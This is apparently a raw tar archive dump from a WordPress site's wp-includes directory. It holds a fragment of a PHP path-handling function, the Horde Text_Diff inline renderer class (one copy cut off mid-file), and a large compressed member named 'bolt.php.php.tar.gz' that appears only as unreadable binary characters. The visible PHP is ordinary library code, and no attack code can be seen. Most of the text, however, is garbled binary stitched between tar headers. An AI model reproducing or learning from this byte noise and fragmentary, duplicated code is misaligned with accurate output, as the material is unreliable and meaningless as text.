                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
